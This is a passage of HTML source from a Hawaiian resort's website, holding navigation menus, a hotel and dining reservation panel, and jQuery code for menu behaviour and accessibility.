3608</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/luau-415x210.jpg?08021080155647267" alt="Experience A Kohala Coast Tradition" class="object-fit"></div><figcaption>Experience A Kohala Coast Tradition</figcaption></figure><p>The Mauna Kea Hawaiian LÅ«&lsquo;au completes the experience with a taste of culture shared by means of music, food, and family tradition on the Island of Hawai&lsquo;i.&nbsp;</p><p><a gaq='Nav,Promo-ExperienceAKohalaCoastTradition' href="/dine/signature/mauna-kea-luau" class="lm">Book Now</a></p></div></div></div></div></li><li data-pid="6" class="nav-gather"><a href="https://www.maunakearesort.com/gather/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Gather</span></a>
3609<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3610<li class="nav-overview"><a href="https://www.maunakearesort.com/gather/overview" class="sn-link"  ><span>Overview</span></a>
3611</li><li class="nav-mauna-kea-beach-hotel"><a href="https://www.maunakearesort.com/gather/mauna-kea-beach-hotel/" class="sn-link"  ><span>Mauna Kea Beach Hotel</span></a>
3612<ul class="unstyled-list level3">
3613<li><a href="https://www.maunakearesort.com/gather/mauna-kea-beach-hotel/meetings"  >Meetings</a>
3614</li><li><a href="https://www.maunakearesort.com/gather/mauna-kea-beach-hotel/weddings"  >Weddings</a>
3615</li></ul>
3616</li><li class="nav-westin-hapuna-beach-resort"><a href="https://www.maunakearesort.com/gather/westin-hapuna-beach-resort/" class="sn-link"  ><span>The Westin Hapuna Beach Resort</span></a>
3617<ul class="unstyled-list level3">
3618<li><a href="https://www.maunakearesort.com/gather/westin-hapuna-beach-resort/meetings"  >Meetings</a>
3619</li><li><a href="https://www.maunakearesort.com/gather/westin-hapuna-beach-resort/weddings"  >Weddings</a>
3620</li></ul>
3621</li><li class="nav-special-events"><a href="https://www.maunakearesort.com/gather/special-events" class="sn-link"  ><span>Special Events</span></a>
3622</li></ul>
3623</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/gather.jpg?07516313770842098" alt="Gather" class="object-fit"></div><figcaption>Gather</figcaption></figure><p>Every event is touched by aloha and tailored by our dedicated team to meet each client&rsquo;s specific needs.</p><p><a gaq='Nav,Promo-Gather' href="" class="lm"></a></p></div></div></div></div></li><li data-pid="7" class="nav-golf"><a href="https://www.maunakearesort.com/golf/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Golf</span></a>
3624<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3625<li class="nav-course-overview"><a href="https://www.maunakearesort.com/golf/course-overview/" class="sn-link"  ><span>Course Overview</span></a>
3626<ul class="unstyled-list level3">
3627<li><a href="https://www.maunakearesort.com/golf/course-overview/mauna-kea-golf-course"  >Mauna Kea Golf Course</a>
3628</li><li><a href="https://www.maunakearesort.com/golf/course-overview/hapuna-golf-course"  >Hapuna Golf Course</a>
3629</li></ul>
3630</li><li class="nav-tee-times"><a href="https://www.maunakearesort.com/golf/tee-times" class="sn-link"  ><span>Tee Times</span></a>
3631</li><li class="nav-photo-gallery"><a href="https://www.maunakearesort.com/golf/photo-gallery" class="sn-link"  ><span>Photo Gallery</span></a>
3632</li><li class="nav-caddy-corner-tips"><a href="https://www.maunakearesort.com/golf/caddy-corner-tips" class="sn-link"  ><span>Caddy Corner / Tips</span></a>
3633</li><li class="nav-golf-packages"><a href="https://www.maunakearesort.com/golf/golf-packages" class="sn-link"  ><span>Golf Packages</span></a>
3634</li></ul>
3635</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/golf.jpg?012880319254268224" alt="Mauna Kea Golf Package" class="object-fit"></div><figcaption>Mauna Kea Golf Package</figcaption></figure><p>10% off Best Available Rates, Daily Buffet Breakfast for Two, 50% off Green Fees at Mauna Kea Golf Course&nbsp;</p><p><a gaq='Nav,Promo-MaunaKeaGolfPackage' href="https://www.marriott.com/reservation/availability.mi?propertyCode=KOAAK&cc=YQ5&scid=undefined" class="lm">Learn more</a></p></div></div></div></div></li><li data-pid="8" class="nav-culture"><a href="https://www.maunakearesort.com/culture/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Culture </span></a>
3636<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3637<li class="nav-overview"><a href="https://www.maunakearesort.com/culture/overview" class="sn-link"  ><span>Overview</span></a>
3638</li><li class="nav-currents"><a href="https://www.maunakearesort.com/culture/currents" class="sn-link"  ><span>Currents</span></a>
3639</li><li class="nav-history"><a href="https://www.maunakearesort.com/culture/history" class="sn-link"  ><span>History</span></a>
3640</li><li class="nav-art-collection"><a href="https://www.maunakearesort.com/culture/art-collection" class="sn-link"  ><span>Art Collection</span></a>
3641</li><li class="nav-discovery-center"><a href="https://www.maunakearesort.com/culture/discovery-center" class="sn-link"  ><span>Discovery Center</span></a>
3642</li><li class="nav-island-culture"><a href="https://www.maunakearesort.com/culture/island-culture" class="sn-link"  ><span>Island Culture</span></a>
3643</li><li class="nav-sustainability"><a href="https://www.maunakearesort.com/culture/sustainability" class="sn-link"  ><span>Sustainability</span></a>
3644</li><li class="nav-on-property-cultural-activities"><a href="https://www.maunakearesort.com/culture/on-property-cultural-activities" class="sn-link"  ><span>On-Property Cultural Activities</span></a>
3645</li></ul>
3646</div></div><div class="col col-2"><div class="subnav-promo"><figure class="caption-grad"><div class="subnav-promo-img"><img data-lazy-src="/images/content/navpackages/ArtApp_mobilehand.JPG?07695134876102387" alt="Immersive Art App" class="object-fit"></div><figcaption>Immersive Art App</figcaption></figure><p>From Hawaiian Quilts to traditional Kapa, learn what inspired this collection of unique pieces of art and rare artifacts using our new web-based art app!</p><p><a gaq='Nav,Promo-ImmersiveArtApp' href="https://www.maunakearesort.com/art-app" class="lm">Learn more</a></p></div></div></div></div></li><li data-pid="572" class="nav-mauna-kea-beach-hotel"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/" class="pn-link" aria-haspopup="true" aria-expanded="false" ><span>Mauna Kea Beach Hotel</span></a>
3647<div class="dd-nav"><div class="dd-nav-inner"><div class="col col-1"><div class="subnav-menu"><ul class="unstyled-list subnav level2">
3648<li class="nav-our-story"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/" class="sn-link"  ><span>Our Story</span></a>
3649<ul class="unstyled-list level3">
3650<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/aloha/"  >Aloha</a>
3651</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/aina/"  >Aina</a>
3652</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/our-story/art-and-culture/"  >Art & Culture</a>
3653</li></ul>
3654</li><li class="nav-stay"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/" class="sn-link"  ><span>Stay</span></a>
3655<ul class="unstyled-list level3">
3656<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/overview"  >Overview</a>
3657</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/suites/"  >Suites</a>
3658</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/beachfront-wing/"  >Beachfront Wing</a>
3659</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/main-tower/"  >Main Tower</a>
3660</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/personalize-your-trip/"  >Personalize your Trip</a>
3661</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/stay/experiences/"  >Experiences</a>
3662</li></ul>
3663</li><li class="nav-dining"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/" class="sn-link"  ><span>Dining</span></a>
3664<ul class="unstyled-list level3">
3665<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/overview"  >Overview</a>
3666</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/mauna-kea-luau"  >Mauna Kea Luau</a>
3667</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/signature/"  >Signature</a>
3668</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/casual/"  >Casual</a>
3669</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/dining/in-room-dining"  >In-Room Dining</a>
3670</li></ul>
3671</li><li class="nav-wellness"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/" class="sn-link"  ><span>Wellness</span></a>
3672<ul class="unstyled-list level3">
3673<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/overview"  >Overview</a>
3674</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/spa"  >The Spa</a>
3675</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/fitness"  >Fitness</a>
3676</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/wellness/wellness-experiences"  >Wellness Experiences</a>
3677</li></ul>
3678</li><li class="nav-golf-and-tennis"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/" class="sn-link"  ><span>Golf & Tennis</span></a>
3679<ul class="unstyled-list level3">
3680<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/overview"  >Golf & Tennis Overview</a>
3681</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/golf/"  >Golf</a>
3682</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/golf-and-tennis/tennis-and-pickleball"  >Seaside Racquet Club</a>
3683</li></ul>
3684</li><li class="nav-celebrate-and-romance"><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/" class="sn-link"  ><span>Celebrate & Romance</span></a>
3685<ul class="unstyled-list level3">
3686<li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/overview"  >Celebrate & Romance Overview</a>
3687</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/gather"  >Gather</a>
3688</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/site-experiences"  >Site Experiences</a>
3689</li><li><a href="https://www.maunakearesort.com/mauna-kea-beach-hotel/celebrate-and-romance/weddings/"  >Weddings</a>
3690</li></ul>
3691</li></ul>
3692</div></div><div class="col col-2"></div></div></div></li></ul>
3693
3694                <button class="btn-pill js-btn-reserve">Reserve</button>
3695            </nav>        
3696        </div>
3697
3698    </div>
3699
3700    <button type="button" class="nav-toggle js-primary-toggle"><span><span class="ada-hidden">Menu</span></span></button>
3701
3702    <style>.site-book{box-sizing:border-box;position:absolute;top:100%;left:0;width:100%;height:calc(100vh - 109px);overflow-y:auto;background-color:#fff;color:#56534d;padding-top:.5em;opacity:0;pointer-events:none;transform:translateY(-100%);transition:opacity .75s ease,transform .75s ease}.isHeaderMin .site-book{height:calc(100vh - 56px)}@media screen and (max-width:1023px){.site-book{height:calc(100vh - 60px)}}.site-book .flex-cols{height:100%}@media screen and (max-width:1023px){.site-book .flex-cols{justify-content:center}}.book-promo-slide{display:none}</style>
3703
3704
3705<div id="book" class="site-book">	
3706	<div class="flex-cols sb-inner">
3707		<div class="col-1-2 sb-col-1">		
3708			<div class="book-promo-slider">
3709				<div class="book-promo-slide" data-promo="KOAAK" style="display: block;">
3710					<figure class="book-promo">
3711						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/hapuna.jpg" alt="Mauna Kea Beach Hotel" class="object-fit"></div>
3712						<figcaption>
3713							
3714						</figcaption>
3715					</figure>
3716				</div>
3717				<div class="book-promo-slide" data-promo="KOAWI">
3718					<figure class="book-promo">
3719						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/westin.jpg" alt="The Westin Hapuna Beach Resort" class="object-fit"></div>
3720						<figcaption>
3721							<h3><em>The Westin</em> Hapuna Beach Resort</h3>
3722							<p>
3722<a href="/stay/westin-hapuna-beach-resort/" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about The Westin Hapuna Beach Resort</span></a></p>							
3723						</figcaption>
3724					</figure>
3725				</div>
3726				<div class="book-promo-slide" data-promo="residences">
3727					<figure class="book-promo">
3728						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/residences.jpg" alt="Mauna Kea Residences" class="object-fit"></div>
3729						<figcaption>
3730							<h3><em>Mauna Kea</em> Residences</h3>
3731							<p><a href="/stay/mauna-kea-residences/" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Mauna Kea Residences</span></a></p>							
3732						</figcaption>
3733					</figure>
3734				</div>								
3735				<div class="book-promo-slide" data-promo="40177">
3736					<figure class="book-promo">
3737						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/manta.jpg" alt="Manta" class="object-fit"></div>
3738						<figcaption>
3739							<h3><em>Manta</em></h3>
3740							<p><a href="/dine/signature/manta" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Manta</span></a></p>
3741						</figcaption>
3742					</figure>
3743				</div>
3744				<div class="book-promo-slide" data-promo="350437">
3745					<figure class="book-promo">
3746						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/copper-bar.jpg" alt="Copper Bar" class="object-fit"></div>
3747						<figcaption>
3748							<h3><em>Copper</em> Bar</h3>
3749							<p><a href="/dine/casual/copper-bar" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Copper Bar</span></a></p>
3750						</figcaption>
3751					</figure>
3752				</div>
3753				<div class="book-promo-slide" data-promo="350440">
3754					<figure class="book-promo">
3755						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/hau-tree.jpg" alt="Hau Tree" class="object-fit"></div>
3756						<figcaption>
3757							<h3><em>Hau</em> Tree</h3>
3758							<p><a href="/dine/casual/hau-tree" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Hau Tree</span></a></p>
3759						</figcaption>
3760					</figure>
3761				</div>
3762				<div class="book-promo-slide" data-promo="1147462">
3763					<figure class="book-promo">
3764						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/naupaka.jpg" alt="Naupaka" class="object-fit"></div>
3765						<figcaption>
3766							<h3><em>Naupaka</em></h3>
3767							<p><a href="/dine/casual/naupaka-beach-grill" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Naupaka</span></a></p>
3768						</figcaption>
3769					</figure>
3770				</div>				
3771				<div class="book-promo-slide" data-promo="987028">
3772					<figure class="book-promo">
3773						<div class="book-promo-img"><img loading="lazy" src="/images/content/book/promos/meridia.jpg" alt="Meridia" class="object-fit"></div>
3774						<figcaption>
3775							<h3><em>Meridia</em></h3>
3776							<p><a href="/dine/signature/meridia" class="lm" tabindex="-1">Learn More <span class="ada-hidden">about Meridia</span></a></p>
3777						</figcaption>
3778					</figure>
3779				</div>																
3780			</div>
3781		</div>
3782		<div class="col-1-2 sb-col-2">		
3783			<div class="book-tabs-wrap">
3784				<div role="tablist" class="book-tabs">
3785					<button role="tab" class="book-tab" data-tab="stay" tabindex="-1" aria-selected="true" aria-controls="book-tabpanel-1" id="book-tab-1"><span class="bed-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 419.13 266.93"><path class="bed-icon-1" d="M411.27 69.63c-4.34 0-7.87 3.52-7.87 7.87v28.98H115.09c3.97-4.64 6.23-10.04 6.23-15.86 0-17.72-20.83-31.59-47.42-31.59S26.49 72.91 26.49 90.62c0 5.82 2.26 11.23 6.23 15.86H15.73V7.87C15.73 3.52 12.21 0 7.87 0S0 3.52 0 7.87v251.2c0 4.34 3.52 7.87 7.87 7.87s7.87-3.52 7.87-7.87v-72.72H403.4v72.72c0 4.34 3.52 7.87 7.87 7.87s7.87-3.52 7.87-7.87V77.49c0-4.34-3.52-7.87-7.87-7.87ZM42.22 90.6c0-7.49 13.55-15.86 31.68-15.86s31.69 8.38 31.69 15.86-13.55 15.86-31.69 15.86-31.68-8.38-31.68-15.86Zm-26.49 80.02V122.2H403.4v48.42H15.73Z"/></svg></span> Stay</button>
3786					<button role="tab" class="book-tab" data-tab="dine" tabindex="-1" aria-selected="false" aria-controls="book-tabpanel-2" id="book-tab-2"><span class="dine-icon"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 418.95 286.58"><path class="dine-icon-1" d="M211.3 44.7c-64.66 0-117.27 52.61-117.27 117.27s52.61 117.27 117.27 117.27 117.27-52.61 117.27-117.27S275.96 44.7 211.3 44.7Zm0 220.8c-57.08 0-103.52-46.44-103.52-103.52S154.22 58.46 211.3 58.46s103.52 46.44 103.52 103.52S268.38 265.5 211.3 265.5ZM415.37.85a6.863 6.863 0 0 0-7 .23c-2.08 
37861.33-50.85 33.7-50.85 141.73 0 3.8 3.08 6.88 6.88 6.88h40.8v130.02a6.88 6.88 0 1 0 13.76 0V6.88c0-2.51-1.37-4.82-3.57-6.03Zm-44.03 135.09c1.01-48.31 12.55-78.89 22.3-96.26 4.02-7.15 8.05-12.68 11.55-16.82v113.08h-33.85ZM72.88 0A6.88 6.88 0 0 0 66 6.88v86.16c0 1.26-1.03 2.29-2.29 2.29H46.75V6.88c0-3.8-3.08-6.88-6.87-6.88S33 3.08 33 6.88v88.46H16.04c-1.26 0-2.29-1.03-2.29-2.29V6.88c0-3.8-3.08-6.88-6.87-6.88S0 3.08 0 6.88v86.16c0 8.85 7.2 16.04 16.04 16.04H33V279.7a6.88 6.88 0 1 0 13.76 0V109.09h16.96c8.85 0 16.04-7.2 16.04-16.04V6.88C79.75 3.08 76.67 0 72.88 0Z"/></svg></span> Dine</button>
3787				</div>
3788				<div class="book-tabs-content">
3789					<div role="tabpanel" id="book-tabpanel-1" aria-labelledby="book-tab-1" tabindex="-1" style="display: block;">
3790						<form class="book-form stay-form" method="get" action="https://www.marriott.com/reservation/availabilitySearch.mi" target="_blank">
3791							<div class="field field-pill">							
3792								<select id="staySelect" name="propertyCode" class="js-input" tabindex="-1">
3793									<option value="KOAAK">Mauna Kea Beach Hotel</option>
3794									<option value="KOAWI">The Westin Hapuna Beach Resort</option>
3795									<option value="residences">Mauna Kea Residences</option>
3796								</select>
3797								<label for="staySelect">Choose a Hotel</label>
3798								<i class="arrow"></i>
3799							</div>
3800							<div class="field field-pill">							
3801								<input type="text" id="bookCheckIn" name="fromDate" class="book-check-in" readonly autocomplete="off" tabindex="-1">
3802								<label for="bookCheckIn">Check In</label>
3803								<i class="arrow"></i>
3804							</div>
3805							<div class="field field-pill">							
3806								<input type="text" id="bookCheckOut" name="toDate" class="book-check-out" readonly autocomplete="off" tabindex="-1">
3807								<label for="bookCheckOut">Check Out</label>
3808								<i class="arrow"></i>
3809							</div>	
3810                            <div class="field field-room">
3811								<div data-trigger="spinner" class="spinner" id="roomSpinner">
3812									<button type="button" data-spin="down" tabindex="-1">-</button>
3813									<div>
3814										<input type="text" name="numberOfRooms" id="bookRooms" value="1" data-ruler="quantity" data-min="1" data-max="4" tabindex="-1">
3815										<label for="bookRooms">Rooms</label>
3816									</div>
3817									<button type="button" data-spin="up" tabindex="-1">+</button>
3818								</div>
3819							</div>		
3820							<div class="field">
3821								<div data-trigger="spinner" class="spinner" id="guestsSpinner">
3822									<button type="button" data-spin="down" tabindex="-1">-</button>
3823									<div>
3824										<input type="text" name="numberOfGuests" id="bookAdults" value="1" data-ruler="quantity" data-min="1" data-max="4" tabindex="-1">
3825										<label for="bookAdults">Adult</label>
3826									</div>
3827									<button type="button" data-spin="up" tabindex="-1">+</button>
3828								</div>
3829							</div>	
3830							<div class="field field-children">
3831								<div data-trigger="spinner" class="spinner" id="childrenSpinner">
3832									<button type="button" data-spin="down" tabindex="-1">-</button>
3833									<div>
3834										<input type="text" name="childrenCount" id="bookChildren" value="0" data-ruler="quantity" data-min="0" data-max="4" tabindex="-1">
3835										<label for="bookChildren">Children</label>
3836									</div>
3837									<button type="button" data-spin="up" tabindex="-1">+</button>
3838								</div>
3839							</div>	
3840							<div class="field field-promo">							
3841								<input type="text" id="bookPromo" name="corporateCode" class="js-input" tabindex="-1">
3842								<label for="bookPromo">Promo Code</label>
3843							</div>						
3844							<button class="btn-pill" type="submit" tabindex="-1">Check Availability</button>							
3845						</form>		
3846						<div class="mobile-book-notice">
3847							<h3 class="h4">MAUNA KEA BEACH HOTEL RENOVATION NOTICE: <span class="normal">Pool &amp; Beach Wing Closure</span></h3>
3848							<p class="disclaimer">Our hotel pool will be closed from February 2025 through November 2025; however, guests can still enjoy our beach services at Kauna’oa Bay. Noisy work will be restricted to the hours of 9AM to 5PM daily and contained behind safety barriers. Call for more details.</p>
3849							<p><a href="/renewal" class="lm" tabindex="-1">
3849Learn More <span class="ada-hidden">(Renovation details)</span></a></p>				
3850						</div>
3851					</div>
3852					<div role="tabpanel" id="book-tabpanel-2" aria-labelledby="book-tab-2" tabindex="-1">
3853						<div class="dine-scripts">
3854							<!-- 
3854<script type='text/javascript' src='//www.opentable.com/widget/reservation/loader?rid=40177&rid=350437&rid=350440&rid=1147462&rid=987028&domain=com&type=standard&theme=standard&lang=en&overlay=true&iframe=false' ></script>
3854 -->
3855							<div class="luau-callout"><p class="book-dine-luau">For The Mauna Kea Luau reservations,<br> please <a href="https://fareharbor.com/embeds/book/maunakearesortevents/items/413305/?full-items=yes&flow=829426" target="_blank" rel="noopener" tabindex="-1">click here <span class="ada-hidden">to book a reservation</span></a>.</p></div>
3856						</div>					
3857					</div>				
3858				</div>
3859			</div>
3860		</div>	
3861	</div>
3862	<button type="button" class="btn-close js-book-close" aria-label="Close reservation panel" tabindex="-1"></button>
3863</div>
3864
3865
3866
3867</header>
3868
3869
3870<script>
3871    _hdmq.add(function(){
3872
3873        // double tap for touch devices
3874        $('.site-nav').doubleTapToGo({
3875            selectorChain: 'li:has(".dd-nav")'
3876        });
3877
3878        //HEADER MIN ANIMATE
3879        var isHeaderMin=false;
3880        function updateHeaderMin(){		            
3881            if($(window).scrollTop()>100 && window.innerWidth>767){
3882                if(isHeaderMin==true) return;
3883                isHeaderMin=true;
3884                $('body').addClass('isHeaderMin');
3885            }else{
3886                if(isHeaderMin==false) return;
3887                isHeaderMin=false;
3888                $('body').removeClass('isHeaderMin');
3889            }			
3890        }
3891        $(window).scroll(updateHeaderMin);
3892        $(window).resize(updateHeaderMin);
3893        updateHeaderMin();
3894
3895
3896        // Nav toggle button
3897        const navToggle = document.querySelector('.js-primary-toggle');
3898        navToggle.addEventListener('click', function () {
3899            const docBody = document.querySelector('body');
3900            if (docBody.classList.contains('book-active')) {
3901                docBody.classList.remove('book-active');
3902            }
3903            docBody.classList.toggle('active-nav');
3904        });
3905
3906
3907        // Handle submenus on hover            
3908        $('.primary-nav > li').each(function(i, el) {
3909            let timer;
3910            let $el = $(el);
3911            let $subnav = $el.find('.dd-nav');
3912            let $body = $('body');
3913
3914            $el
3915            .mouseenter( function() {
3916                $body.addClass('active-subnav');
3917
3918                if ($subnav.length) {
3919                    $subnav.addClass('open');
3920                    $subnav.siblings('.pn-link').attr('aria-expanded', true);                        
3921                }
3922            })
3923            .mouseleave(function() {
3924                $body.removeClass('active-subnav');
3925
3926                if ($subnav.length) {
3927                    $subnav.removeClass('open');
3928                    $subnav.siblings('.pn-link').attr('aria-expanded', false);
3929                }
3930            });
3931
3932        });   
3933
3934        // move utility items for mobile
3935        function setUtilityItems() {                
3936            const themeToggle = $('.theme-toggle, .theme-overlay');
3937            const reserveButton = $('.btn-pill.js-btn-reserve');
3938
3939            if ($(window).width() < 768) {
3940                $('.mobile-utility').prepend(themeToggle);
3941                $('.mobile-utility').append(reserveButton);
3942            } else {
3943                $('.un-tt').prepend(themeToggle);
3944                $('.site-nav').append(reserveButton);
3945            }
3946        }
3947        setUtilityItems();
3948        window.addEventListener('resize', _.debounce(setUtilityItems, 250));
3949
3950
3951        // Make nav keyboard accessible
3952        function navKeyHandler(e) { 
3953            let $this = $(this); // focused element 
3954            let $activeSubnav = $('.dd-nav.open');
3955
3956            // if focused element has items to the right, detect right arrow press  
3957            let $nextSibling = $this.closest('.primary-nav > li').next('li').children('.pn-link');
3958            if ($nextSibling.length) {
3959                if (e.keyCode == '39') {
3960                    $nextSibling.focus();
3961                    $activeSubnav.removeClass('open');
3962                    $activeSubnav.siblings('.pn-link').attr('aria-expanded', false);
3963                }
3964            }
3965
3966            // if focused element has items to the left, detect left arrow press
3967            let $prevSibling = $this.closest('.primary-nav > li').prev('li').children('.pn-link');
3968            if ($prevSibling.length) {      
3969                if (e.keyCode == '37') {
3970                    $prevSibling.focus();
3971                    $activeSubnav.removeClass('open');
3972                    $activeSubnav.siblings('.pn-link').attr('aria-expanded', false);
3973                }
3974            }
3975
3976            // if focused element has items below, detect down arrow press
3977            let $subnav = $this.siblings('.dd-nav');
3978            let $firstSubnavItem = $subnav.find('.subnav').children('li:first-child').children('.sn-link'); 
3979
3980            if ($firstSubnavItem.length) {
3981                if (e.keyCode == '40') {
3982                    // open active subnav
3983                    $subnav.addClass('open');
3984                    // update aria expanded on active subnav
3985                    $subnav.siblings('.pn-link').attr('aria-expanded', true);
3986                    // deactivate other active subnavs
3987                    $activeSubnav.removeClass('open');
3988                    // update aria expanded on deactivated subnavs
3989                    $activeSubnav.siblings('.pn-link').attr('aria-expanded', false);
3990                    // set focus to first item
3991                    $firstSubnavItem.focus();
3992                }
3993            }
3994
3995            // make subnav items tabbable when open
3996            $('.dd-nav').each(function(i, el) {
3997                let _this = $(el);
3998
3999                // toggle tabindex
4000                if (_this.hasClass('open')) {
4001                    _this.find('a').attr('tabindex', 0);
4002                } else {
4003                    _this.find('a').attr('tabindex', -1);
4004                }   
4005            });
4006
4007
4008            // if tabbed to primary nav link, hide subnavs
4009            let isPnLink = $this.hasClass('pn-link')
4010            if (isPnLink) {
4011                if (e.keyCode == 9) {
4012                    // make links untabbale 
4013                    $activeSubnav.find('a').attr('tabindex', -1);
4014                    // hide other active subnavs
4015                    $activeSubnav.removeClass('open');
4016                    // update aria expanded
4017                    $activeSubnav.siblings('.pn-link').attr('aria-expanded', false);
4018                }
4019            }
4020
4021            // if focus leaves active subnav
4022            $(document).click(function(event) { 
4023                var $target = $(event.target);
4024                if(!$target.closest('.dd-nav.open').length && $('.dd-nav.open').is(":visible")) {
4025                    $('.dd-nav.open').removeClass('open')
4026                }        
4027            });
4028        }
4029
4030
4031        // bind handler to all links in primary nav
4032        $('.primary-nav a').off('keyup').on('keyup', navKeyHandler);
4033
4034        // make weather icons inline svgs 
4035        inlineSVG('.weather-icon');
4036
4037
4038        //make different hover colors for Westin Hapuna dining places
4039        const diningSubnav = $('.nav-dine .subnav .level3'); //select dining subnav
4040
4041        const meridia = diningSubnav.find("a[href$='meridia']"); //select item that ends with a certain page
4042        meridia.addClass('green');
4042 //add class
4043
4044        const plumeriaMarket = diningSubnav.find("a[href$='plumeria-market']");
4045        plumeriaMarket.addClass('green');
4046
4047        const piko = diningSubnav.find("a[href$='piko']");
4048        piko.addClass('green');
4049
4050        const ikenaLanding = diningSubnav.find("a[href$='ikena-landing']");
4051        ikenaLanding.addClass('green');
4052
4053        const naupakaBeachGrill = diningSubnav.find("a[href$='naupaka-beach-grill']");
4054        naupakaBeachGrill.addClass('green');
4055
4056        const westinHapuna = diningSubnav.find("a[href$='the-westin-hapuna-beach-resort']");
4057        westinHapuna.addClass('green');
4058
4059        //ADA fixes add descriptive text
4060        var promos = document.querySelectorAll('.subnav-promo');
4061
4062        for (var i = 0; i < promos.length; i++) {
4063            var promo = promos[i];
4064            var figcaption = promo.querySelector('figcaption');
4065            var link = promo.querySelector('a.lm');
4066
4067            if (figcaption && link) {
4068                var captionText = figcaption.textContent.trim();
4069
4070                // Create the ADA hidden span
4071                var adaSpan = document.createElement('span');
4072                adaSpan.className = 'ada-hidden';
4073                adaSpan.textContent = 'About ' + captionText;
4074
4075                // Append the hidden span to the link (if not already there)
4076                if (!link.querySelector('.ada-hidden')) {
4077                    link.appendChild(adaSpan);
4078                }
4079            }
4080        }
4081
4082    });
4083</script>
4083
4084
4085
4086        
4087<style></style>
4088
4089
4090
4091
4092
4093
4094<div id="hero" class="full-height has-loader">
4095	<style>#hero{box-sizing:border-box;min-height:410px;position:relative;overflow:hidden;z-index:2;background-color:#fff;color:#fff;margin-bottom:2em}#hero.full-height{height:100vh}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape){#hero.full-height{height:698px}}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:portrait){#hero.full-height{height:954px}}@media screen and (max-width:767px){#hero.full-height{height:420px}}#hero.interior-height{height:80vh}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:landscape){#hero.interior-height{height:698px}}@media only screen and (min-device-width:768px) and (max-device-width:1024px) and (orientation:portrait){#hero.interior-height{height:954px}}@media screen and (max-width:767px){#hero.interior-height{height:420px}}#hero.partial-height{height:600px}@media screen and (max-width:767px){#hero.partial-height{height:360px}}#hero.small-height{height:500px}@media screen and (max-width:767px){#hero.small-height{height:360px}}@media screen and (max-width:767px){#hero{min-height:0}}.hero{position:relative;height:100%;overflow:hidden;max-width:3840px;margin:0 auto;transition:opacity .6s ease}@media screen and (max-width:767px){.hero{padding-top:60px}}.hero.loading{visibility:hidden;opacity:0}.hero figcaption{box-sizing:border-box;position:absolute;top:50%;left:50%;z-index:2;width:90%;color:currentColor;text-shadow:.1em 0 .4em #000;text-align:center;transform:translate(-50%,-50%)}.hero figcaption h2{font-family:"Lora",serif;font-size:1.75rem;letter-spacing:.05em;text-transform:none}.hero figcaption 